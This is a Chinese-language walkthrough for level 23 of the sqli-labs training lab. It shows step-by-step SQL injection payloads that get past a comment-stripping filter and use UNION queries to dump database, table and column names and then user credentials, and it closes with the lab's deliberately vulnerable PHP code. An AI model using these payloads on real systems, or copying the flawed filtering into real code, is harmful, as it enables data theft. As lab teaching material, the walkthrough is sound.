sqli-labs 通关指南:Less 23
Less 23 的注入流程和 Less 1 ~ 4 一致,但是 Less 23 对注释符进行了过滤。我们得考虑用其他方式闭合引号,而不是忽略后续的代码。
GET-Error based-strip comments (基于错误的过滤注释符的 GET 型注入)
判断注入类型
注入正常的 id,网页回显 id 对应的 username 和 password。
?id=1
注入一个单引号闭合,根据回显的报错信息这里就是用单引号闭合的字符型注入。
?id=1'
构造恒真语句测试,发现网页回显的还是报错,根据错误信息发现 “--+” 被过滤了。
?id=1' OR 1 = 1--+
尝试使用 “#” 进行注释,发现也被过滤了。
?id=1' OR 1 = 1#
过滤了注释符并不能影响我们的注入,可以使用两个单引号分别闭合两侧的 Sql 查询语句,同时需要使用 OR 运算符分割成 3 个子句。
?id=1' OR 1 = 1 OR '
获取数据库信息
分别闭合前后的单引号可以绕过对注释符的过滤,Sql 注入的流程和 Less 1 一致。判断哪些列是我们能用的,令 id 参数的查询不到结果,使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。
?id=99' UNION SELECT 1,2,3 '
爆数据库名。
?id=99' UNION SELECT 1,database(),3 '
爆表名。
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' '
爆 users 表的字段。
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users' '
获取目标信息
构造出 payload 如下,注意这里不能直接用单引号闭合,可以使用 WHERE 构造个恒真条件闭合。
?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM users WHERE '1' = '1
Sql 查询语句
可以明显看出,源码使用了正则表达式过滤了所有注释符。
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);